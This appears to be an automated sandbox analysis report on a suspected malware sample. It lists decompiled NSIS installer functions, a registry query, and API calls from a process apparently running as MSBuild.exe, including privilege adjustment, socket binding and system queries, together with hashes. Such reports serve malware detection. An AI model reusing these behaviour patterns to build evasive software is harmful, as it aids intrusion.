Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsoCA66.tmp
API String ID: 2962429428-2634999331
Opcode ID: aeccf91f195f98651a37afe53933e86c148d7decc5408070ba81ae1a3102e6a3
Instruction ID: f4960ab97bc4c8a2d82e21847187181e2840903b19b2aeb21d370a46e1c92408
Opcode Fuzzy Hash: aeccf91f195f98651a37afe53933e86c148d7decc5408070ba81ae1a3102e6a3
Instruction Fuzzy Hash: 49E0863144471496C1346F7CAE49D853B285B4133A7204326F178F20F1C738A9574E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F19, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405F19(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040653C(0x425f50, _a4);
				_t21 = E00405EBC(0x425f50);
				if(_t21 != 0) {
					E004067EB(_t21);
					if(( *0x42a27c & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f50 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f50);
							_push(0x425f50);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040689A();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405E5D(0x425f50);
								continue;
							} else {
								goto L1;
							}
						}
						E00405E11();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405f25
0x00405f30
0x00405f34
0x00405f3b
0x00405f47
0x00405f57
0x00405f59
0x00405f71
0x00405f72
0x00405f79
0x00405f7a
0x00000000
0x00000000
0x00405f5d
0x00405f64
0x00405f6c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f64
0x00405f7c
0x00000000
0x00405f90
0x00405f49
0x00405f4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f4f
0x00405f36
0x00000000

APIs

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74B5FAA0,?,74B5F560,00405C6E,?,74B5FAA0,74B5F560,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,74B5FAA0,?,74B5F560,00405C6E,?,74B5FAA0,74B5F560,00000000), ref: 00405F72
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,74B5FAA0,?,74B5F560,00405C6E,?,74B5FAA0,74B5F560), ref: 00405F82

Strings

P_B, xrefs: 00405F1F

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction ID: 859fcd89679448da631e779a0da4808ed27405fda231041bc00783fb73730a7b
Opcode Fuzzy Hash: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction Fuzzy Hash: 5DF0F925115D2325D722333A5D09AAF1544CF92358B49013FF895F22C1DA3C8A13CDBE

Uniqueness

Uniqueness Score: -1.00%

Function 00405518, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405518(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x423734 != _t16) {
							_push(_t16);
							_push(6);
							 *0x423734 = _t16;
							E00404ECD();
						}
						L11:
						return CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404E4D(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004044DE(0x413);
				return 0;
			}

0x0040551c
0x00405526
0x00405542
0x00405564
0x00405567
0x0040556d
0x00405577
0x00405578
0x0040557a
0x00405580
0x00405580
0x0040558a
0x00000000
0x00405598
0x0040554f
0x00405587
0x00405587
0x00000000
0x00405587
0x0040555b
0x0040555d
0x00000000
0x0040555d
0x0040552c
0x00000000
0x00000000
0x00405533
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405547
CallWindowProcW.USER32(?,?,?,?), ref: 00405598

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Strings

, xrefs: 00405528

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction ID: 7ed895885fecbfe1028844bafe119d46ede1b6e58bfeef0b35ccd3d75cf6e938
Opcode Fuzzy Hash: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction Fuzzy Hash: E60171B1200648BFDF208F11DD80A6B7726EB84755F244537FA007A1D4C77A8E529E59

Uniqueness

Uniqueness Score: -1.00%

Function 0040640A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040640A(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004063A9(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406418
0x0040641a
0x00406432
0x00406437
0x0040643c
0x0040647a
0x0040647a
0x0040643e
0x00406450
0x0040645b
0x00406461
0x0040646c
0x00000000
0x00000000
0x0040646c
0x00406480

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422728,00000000,?,?,KXCJDFJSKF,?,?,00406699,80000002), ref: 00406450
RegCloseKey.ADVAPI32(?,?,00406699,80000002,Software\Microsoft\Windows\CurrentVersion,KXCJDFJSKF,KXCJDFJSKF,KXCJDFJSKF,00000000,00422728), ref: 0040645B

Strings

KXCJDFJSKF, xrefs: 00406411

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseQueryValue
String ID: KXCJDFJSKF
API String ID: 3356406503-1579689790
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: f0f89c662eeec8a22638327002db2d2d8046b3273e4fa87c0bc9f0af31e9764c
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: E1017172510209EBDF218F51CC05FDB3BB8EB54354F01403AFD55A2190D738D964DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405B25, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405B25(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x426750->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x426750,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405b2e
0x00405b4e
0x00405b56
0x00405b5b
0x00000000
0x00405b61
0x00405b65

APIs

CreateProcessW.KERNEL32 ref: 00405B4E
CloseHandle.KERNEL32(?), ref: 00405B5B

Strings

Error launching installer, xrefs: 00405B38

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 4727b597e06a80ccf73fde1317b74bfd1e446cf8a7cb79422ce9438d985acd26
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 2FE0B6B4A00209BFEB109B64ED49F7B7BBDEB04648F414465BD50F6190D778A8158A7C

Uniqueness

Uniqueness Score: -1.00%

Function 00405F97, Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F97(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405fa7
0x00405fa9
0x00405fac
0x00405fd8
0x00405fb1
0x00405fba
0x00405fbf
0x00405fca
0x00405fcd
0x00405fe9
0x00405fcf
0x00405fd6
0x00000000
0x00405fd6
0x00405fe2
0x00405fe6
0x00405fe6
0x00405fe0
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBF
CharNextA.USER32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD0
lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: a453383ccec69260e8b6b46741f5159dab33bedf04c15e844a7af63cc501478c
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 02F06235105418EFD7029BA5DD40D9EBBA8DF06350B2540BAE840F7350D678DE01ABA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exe PID: 1240 Parent PID: 5896 MSBuild.exeCOMMON

Executed Functions

Function 00F2B3C0, Relevance: 2.0, Strings: 1, Instructions: 797COMMON

Download Yara Rule

Strings

r, xrefs: 00F2BD5C

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: r
API String ID: 0-1812594589
Opcode ID: 1788ac03c110156d1d9b6b7922e92354f6cb159fde6403f88dae0bfb227cc55c
Instruction ID: 244cb8fd9d54844ea565102750277bba59d4ea4f9587d0a28d9bb75ae176d146
Opcode Fuzzy Hash: 1788ac03c110156d1d9b6b7922e92354f6cb159fde6403f88dae0bfb227cc55c
Instruction Fuzzy Hash: EC724670A00629CFCB14CF58D584AADFBF2FF88310F658569D81AAB655DB30E981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F23850, Relevance: 2.0, Strings: 1, Instructions: 757COMMON

Download Yara Rule

Strings

>_Ir, xrefs: 00F23F9D

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: >_Ir
API String ID: 0-3386957151
Opcode ID: 9921e997ae594235ba9c116490ae405ea01e0ac8ad71ddf3a42b7ccf86ed29e9
Instruction ID: c9780b4401f4d61869cbb2b0af44edda42196f96c911778b69f8070633c790c8
Opcode Fuzzy Hash: 9921e997ae594235ba9c116490ae405ea01e0ac8ad71ddf3a42b7ccf86ed29e9
Instruction Fuzzy Hash: DE5227B2A04225CFCB05CF58E980AADFFB2FF85310B2585A6D5199F252C774EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 028428C3, Relevance: 1.6, APIs: 1, Instructions: 81networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02842957

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: fdd6523f06630fdb8259284460206f7871ab2795ec851f68d660544781d22ec6
Instruction ID: 566963577db72e23fd9fa06603569a696f19ed0538526e0130d36a8cabe3ed37
Opcode Fuzzy Hash: fdd6523f06630fdb8259284460206f7871ab2795ec851f68d660544781d22ec6
Instruction Fuzzy Hash: C521B175409384AFD7128B24CC44F96BFB8EF46320F0884ABE948CF252D364A809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02841463, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 028414E3

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 559fad49464ac493faec6dd3ac483de85b37188d205c896d98ee54329699aacd
Instruction ID: 7480fda862d1a4824302359d1c8b42d779634242a2680fa4a8184e97e19fbf73
Opcode Fuzzy Hash: 559fad49464ac493faec6dd3ac483de85b37188d205c896d98ee54329699aacd
Instruction Fuzzy Hash: 0421A07A509384AFDB128F25DC44B52BFF4EF06210F09859AE989CF163D3749908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0284169F, Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 02841715

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: a0202324d8d92b6b6e522815853c55e0416970380dfa6dafe33768c78510f1c2
Instruction ID: 6f431e478fb8587a425f13c280a49a116d7d5ca6ea69ce10cbcf8a17050e01e1
Opcode Fuzzy Hash: a0202324d8d92b6b6e522815853c55e0416970380dfa6dafe33768c78510f1c2
Instruction Fuzzy Hash: 3821AE764097C4AFDB238B20DC45A52FFB4EF16214F0980DBE9888F163D265A909DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028428F6, Relevance: 1.6, APIs: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02842957

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: 28b004e25f080183f5c6d332504dad8c3deccefda164951065baf88ddd60c19d
Instruction ID: cb937eb4af4b6128ce14ec4ef28fe62a0b5367af1491f844644a3f0402b1d37e
Opcode Fuzzy Hash: 28b004e25f080183f5c6d332504dad8c3deccefda164951065baf88ddd60c19d
Instruction Fuzzy Hash: 89119075504204AFE710CF15DC84F96FFA8EF44325F14846BEE49DB245D674A405CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0284149A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 028414E3

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 0a5fc7e606186b930cd80e11dcd47343b667206201cf1e3aa0f08ceb8ecb3b29
Instruction ID: 60813d944003ebd0a55883c6e0dc28eea96f12b7d7dd4478f457fdd6a670f129
Opcode Fuzzy Hash: 0a5fc7e606186b930cd80e11dcd47343b667206201cf1e3aa0f08ceb8ecb3b29
Instruction Fuzzy Hash: 4E119E3A5006089FDB218F55D844B66FBE4EF04320F08C5AADE4ACB611D771E448CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028411C2, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 028411F4

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7dcc1e0c8c4df7baf2788e775436f992265e8c79b7e3b79e926afa2b44aee55b
Instruction ID: 137a378215adfb72be5b3f968ceb5c95d700884957c16c589778d2cbf0aad721
Opcode Fuzzy Hash: 7dcc1e0c8c4df7baf2788e775436f992265e8c79b7e3b79e926afa2b44aee55b
Instruction Fuzzy Hash: FA018B789042489FDB10CF55E888766FFA4EF44224F18C4AADD08CF206D6B9A448CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 028416DA, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 02841715

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 4975b447b8acf85386be56ad7c8a6a22cef3934039a0618da4e856e33b3ebc5a
Instruction ID: ba8be7a46416d1263e9650836c8cf17530817e0b39d53c701b95366f34bb036c
Opcode Fuzzy Hash: 4975b447b8acf85386be56ad7c8a6a22cef3934039a0618da4e856e33b3ebc5a
Instruction Fuzzy Hash: 21018B39400648DFDB208F55D888B62FFE0EF08724F18C19ADE498B216D7B5A458CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00962477, Relevance: .8, Instructions: 804COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.475951638.0000000000962000.00000040.00000001.sdmp, Offset: 00962000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6edfadddf3c216bae1c1181942ad3db8358e9bf1aef8d482091f51da429d70
Instruction ID: 168ca0bc646b9731831144792357c8d2e23fd6a6c08c02bf2f5444b80de67895
Opcode Fuzzy Hash: cc6edfadddf3c216bae1c1181942ad3db8358e9bf1aef8d482091f51da429d70
Instruction Fuzzy Hash: E6429A6190EBD38FCB1787345C79595BFB6AE6330471A44CBD4C1CF1A3E649480ACB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00F289D8, Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9850e4e68c6441fc565b24f51156f09ea9be90830801d040edfa97abe7dd8b9
Instruction ID: abc5519a9dbbb60944e691e1480d6e0966e799cad8cd13de7c943d1cb803dc5e
Opcode Fuzzy Hash: c9850e4e68c6441fc565b24f51156f09ea9be90830801d040edfa97abe7dd8b9
Instruction Fuzzy Hash: 5C12AD31E05235CFCB28DF65E4847ADBBB2BB84354F64856AD0169B644DFB89C82EF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F223A0, Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 131a86b881864cc806e6c68dde3114c12edb48b06e25205d55d503e1e3a01bb3
Instruction ID: d6085767a5ea6c78626762c5fcc414a162779d00dbb10cc720f9297f50117989
Opcode Fuzzy Hash: 131a86b881864cc806e6c68dde3114c12edb48b06e25205d55d503e1e3a01bb3
Instruction Fuzzy Hash: 6812DD31E14225DFC764EF68E99076DBBF2BF84314F248129D4169B256EB788D81EF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F22FA8, Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f586826849dd30e08e31789129088a6921f251fe6f5684c4004833fa6b446082
Instruction ID: e96be3a5251a6b13118539d31e936230575f847fb1d22ef68081f508f92d695e
Opcode Fuzzy Hash: f586826849dd30e08e31789129088a6921f251fe6f5684c4004833fa6b446082
Instruction Fuzzy Hash: BA818D72F001259BC718DB69D950A6EBBE3AFC8314F2A8075E405AB399DE35DD019B90

Uniqueness

Uniqueness Score: -1.00%

Function 00F20980, Relevance: 5.2, Strings: 4, Instructions: 169COMMON

Download Yara Rule

Strings

X1kr, xrefs: 00F20A50
X1kr, xrefs: 00F20AA2
X1kr, xrefs: 00F20A98
X1kr, xrefs: 00F20A5A

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: X1kr$X1kr$X1kr$X1kr
API String ID: 0-2451847431
Opcode ID: a721514309bac00303419f92db75ab9fbd23d290a61e1b7ce583e41d63a1d84f
Instruction ID: 1dba9ebb4d0f69b732e7a9c1fb6484f29ff52e27f79c9b3aceb41a3aaec344cc
Opcode Fuzzy Hash: a721514309bac00303419f92db75ab9fbd23d290a61e1b7ce583e41d63a1d84f
Instruction Fuzzy Hash: D351D533B04260DFCB249BA8E85476EB7E2AFC4704F21456AD546DB792CF34AC05E781

Uniqueness

Uniqueness Score: -1.00%

Function 00F209A9, Relevance: 5.1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

Strings

X1kr, xrefs: 00F20A50
X1kr, xrefs: 00F20AA2
X1kr, xrefs: 00F20A98
X1kr, xrefs: 00F20A5A

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: X1kr$X1kr$X1kr$X1kr
API String ID: 0-2451847431
Opcode ID: 106042ebf43743df8703220f90c437e26c79f1b91eba60a5274b87053668b783
Instruction ID: 1d86affff57aaf88aec4b84c2a7dcbc7b7d058d0a16e1d8d92a36a8bb078d58c
Opcode Fuzzy Hash: 106042ebf43743df8703220f90c437e26c79f1b91eba60a5274b87053668b783
Instruction Fuzzy Hash: F2416136B001149FCB04DFA8D958A6DB7F6FF84300F258165E51A9B365CF70AC02DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00F202E8, Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

:@Dr, xrefs: 00F20537
`5kr, xrefs: 00F203A5

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: :@Dr$`5kr
API String ID: 0-2548079215
Opcode ID: 6adb7fdf3200b870e3cc7a6adfd8d37189a8fe2e97e221524bdfcf840178be72
Instruction ID: 16374611587f1ce89426d6e08b9354b6566a3dc240c43bd7397fcf8baba24a0d
Opcode Fuzzy Hash: 6adb7fdf3200b870e3cc7a6adfd8d37189a8fe2e97e221524bdfcf840178be72
Instruction Fuzzy Hash: 81518132A052158FDB04DF68D450B6D7BF2EFC9710F2480A9D506AB3A2DF71AC05EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F22D58, Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

, xrefs: 00F22E76
>_Ir, xrefs: 00F22DA5

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: $>_Ir
API String ID: 0-1787506450
Opcode ID: 9f709bbef6f730b8353a6c65ce0f27ed949e80b22ae1a5187d60a10a950aaa0b
Instruction ID: 2f8d83ff7574ad633c1e672a821b2c87061596168f1102bbea46eb8505b80b2f
Opcode Fuzzy Hash: 9f709bbef6f730b8353a6c65ce0f27ed949e80b22ae1a5187d60a10a950aaa0b
Instruction Fuzzy Hash: A741D472F08665AFCB90DF69D8406AEBBA2EBC0314B26C576C416DB605C631DC42F792

Uniqueness

Uniqueness Score: -1.00%

Function 00F2DB51, Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

lir, xrefs: 00F2DC03
